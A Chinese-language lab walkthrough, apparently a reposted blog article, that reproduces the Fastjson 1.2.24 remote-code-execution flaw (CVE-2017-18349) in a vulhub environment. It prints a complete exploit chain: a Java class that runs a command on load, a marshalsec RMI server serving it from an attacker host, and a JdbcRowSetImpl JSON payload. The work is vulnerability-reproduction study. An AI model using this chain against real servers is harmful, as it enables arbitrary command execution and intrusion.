您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)復現,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
JSON,全稱:JavaScript Object Notation,作為一個常見的輕量級的數據交換格式,應該在一個程序員的開發生涯中是常接觸的。簡潔和清晰的層次結構使得 JSON 成為理想的數據交換語言。 易于人閱讀和編寫,同時也易于機器解析和生成,并有效地提升網絡傳輸效率。
漏洞影響范圍:fastjson<=1.2.24
下面僅作漏洞復現記錄與實現,利用流程如下:
本文漏洞環境采用vulhub搭建,執行以下命令開啟環境
cd /vulhub/fastjson/1.2.24-rce/
docker-compose up -d
執行完畢后訪問8090端口,訪問如下:
漏洞鏈接:http://192.168.101.152:8090/
攻擊機IP:192.168.101.131
首先將exp進行編譯,將以下內容保存為TouchFile.java
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"ping", "test.3ztjrz.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
之后使用javac編譯為class文件,最好是用低版本的java編譯,高版本可能利用不了,這里使用的是1.8版本
編譯完成后會得到一個TouchFile.class文件,然后在同目錄下用python開啟http服務,執行以下命令
python -m http.server 8000
然后借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.class,執行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.101.131:8000/#TouchFile" 9999
之后使用burp發送特定poc數據包
POST / HTTP/1.1 Host: 192.168.101.152:8090 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.101.131:9999/TouchFile", "autoCommit":true } }
稍等一下可以可以看到訪問152機子的請求
過一會兒就可以看到dnslog收到了請求
命令執行成功
關于怎么分析Fastjson 1.2.24-rce漏洞(CVE-2017-18349)復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。